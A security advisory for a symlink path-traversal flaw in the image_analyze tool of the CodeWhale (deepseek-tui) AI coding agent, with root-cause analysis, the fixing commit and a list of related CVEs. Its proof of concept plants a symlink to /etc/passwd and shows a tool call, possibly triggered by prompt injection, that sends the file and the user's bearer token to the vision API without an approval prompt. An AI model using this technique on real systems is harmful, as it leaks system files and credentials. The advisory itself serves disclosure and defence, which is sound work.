CVE-2026-75914: CodeWhale image_analyze Symlink Path Traversal
The image_analyze tool in CodeWhale skips symlink canonicalization, so a workspace symlink pointing at any file outside the workspace silently leaks that file's bytes to the configured vision API…

The problem
The image_analyze tool in crates/tui/src/vision/tools.rs resolved image_path with context.workspace.join() instead of the shared ToolContext::resolve_path() helper. It did apply a lexical guard, rejecting absolute paths and .. components, but that check runs before the filesystem is touched and never calls canonicalize().
A symlink like workspace/screenshot.png -> /etc/passwd has only a Normal("screenshot.png") component. The guard passes, tokio::fs::read() follows the symlink transparently, and the raw bytes are base64-encoded into the vision API request. Because the tool declares ToolCapability::ReadOnly and does not override approval_requirement(), the engine auto-approves every invocation, so no user prompt appears.
Proof of concept
A working proof-of-concept for CVE-2026-75914 in deepseek-tui, with the exact payload below.
# Step 1: plant the symlink in the workspace (attacker-controlled or via prompt injection)
ln -s /etc/passwd /path/to/workspace/screenshot.png
# Step 2: the model (or a prompt-injection payload) calls the tool
# Tool call JSON sent by the agent on any turn:
{
"name": "image_analyze",
"input": {
"image_path": "screenshot.png",
"prompt": "Describe this image in detail."
}
}
# Result: /etc/passwd bytes are base64-encoded and POSTed to the
# configured vision endpoint (${base_url}/chat/completions)
# inside the image_url.url field, along with the user's bearer token.The root cause is CWE-59 (link following): read_image_file() is a plain tokio::fs::read() call that the OS resolves through symlinks. The lexical component check (CWE-22) correctly blocks ../etc/passwd and /etc/passwd but is evaluated on the literal path string before any filesystem access, so it cannot see where a symlink actually points.
Every other file-reading tool in the codebase (read_file, image_ocr, pandoc_convert, apply_patch) calls context.resolve_path(), which canonicalizes the candidate path and then asserts that the canonical result starts with the canonical workspace path. image_analyze was the one caller that skipped this step.
The patch replaces context.workspace.join(image_path_buf) with context.resolve_path(image_path)?, making symlink targets subject to the same workspace-containment check as every sibling tool.
The fix
Upgrade to CodeWhale 0.8.64 or later. The fix is commit 26de44a8bd5051f8f944ea60b2c37ae1d2b7d25e, which replaces the bare context.workspace.join(image_path_buf) call in crates/tui/src/vision/tools.rs with context.resolve_path(image_path)?, routing image_analyze through the same canonicalize-and-containment check used by all other file-reading tools.
The legacy deepseek-tui package is deprecated; users on 0.8.x should migrate to the codewhale package per docs/REBRAND.md.
Related research
- high · 7.5CVE-2026-75859CVE-2026-75859: deepseek-tui (CodeWhale) Arbitrary File Read via Project Config instructions Override
- high · 7.8CVE-2026-75911CVE-2026-75911: deepseek-tui (CodeWhale) Project Config allow_shell Override Enables Arbitrary Shell Execution
- high · 9.3CVE-2026-75913CVE-2026-75913: CodeWhale Argument Injection in git_show Allows Arbitrary File Write
- high · 7.8CVE-2026-75858CVE-2026-75858: CodeWhale rlm_eval Approval Bypass Leading to Unsandboxed RCE